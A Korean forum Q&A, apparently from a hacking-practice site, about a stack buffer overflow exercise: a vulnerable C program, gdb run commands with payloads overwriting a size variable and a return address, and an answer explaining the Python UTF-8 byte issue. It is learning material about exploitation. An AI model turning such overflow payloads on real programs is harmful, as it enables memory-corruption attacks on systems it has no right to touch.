gdb의 run으로 파이썬 데이터를 넘길 시 알 수 없는 바이트가 추가로 전달됩니다.
int main(int argc, char *argv[]) {
int stdin_fd = 0;
int stdout_fd = 1;
int buf_size = 0x10;
char fruit[0x6] = "cherry";
char buf[0x6];
initialize();
write(stdout_fd, "Menu: ", 6);
read(stdin_fd, buf, buf_size);
if(!strncmp(buf, "cherry", 6)) {
write(stdout_fd, "Is it cherry?: ", 15);
read(stdin_fd, fruit, buf_size);
}
return 0;
}
'Menu: '에 대한 인풋에서 buf와 fruit, buf_size를 덮어쓰기 위해 print('cherryAAAABB\x80\x00\x00\x00')을 통해 값을 전달하였습니다.
이후 gdb를 통해 스택을 확인한 결과 buf는 cherry로, fruit은 AAAABB로 덮어씌어진것을 확인할 수 있었지만 buf_size는 0x00000080이 아닌 0x000080c2가 된 것을 확인할 수 있었습니다.
이와 관련해 원인을 알아보고자 하였으나 원인을 찾지 못하여 이렇게 질문 남깁니다.
아래는 이미지 내 run 명령어입니다.
run <<< $(python -c "print('cherryAAAABB\x80\x00\x00\x00')") <<< $(python -c "print('a' * 18 + 'c' * 8 + '\xbc\x12\x40\x00\x00\x00\x00\x00')")
#bof
#gdb
작성자 정보
답변
1
qwerty
CTF First Place
해당 문제는 python의 string과 bytes의 차이에 의해 발생합니다.
그 예시로, python -c "print('cherryAAAABB\x80\x00\x00\x00'.encode())"
를 실행하면 b'cherryAAAABB\xc2\x80\x00\x00\x00
가 나오는 반면,
python3 -c "print('cherryAAAABB\x80\x00\x00\x00'.encode('latin-1'))"
을 실행하면 b'cherryAAAABB\x80\x00\x00\x00'
가 나옵니다.
따라서, string이 아닌 bytes(latin-1)로 인코딩하여 사용하시면 해결될 것으로 보입니다.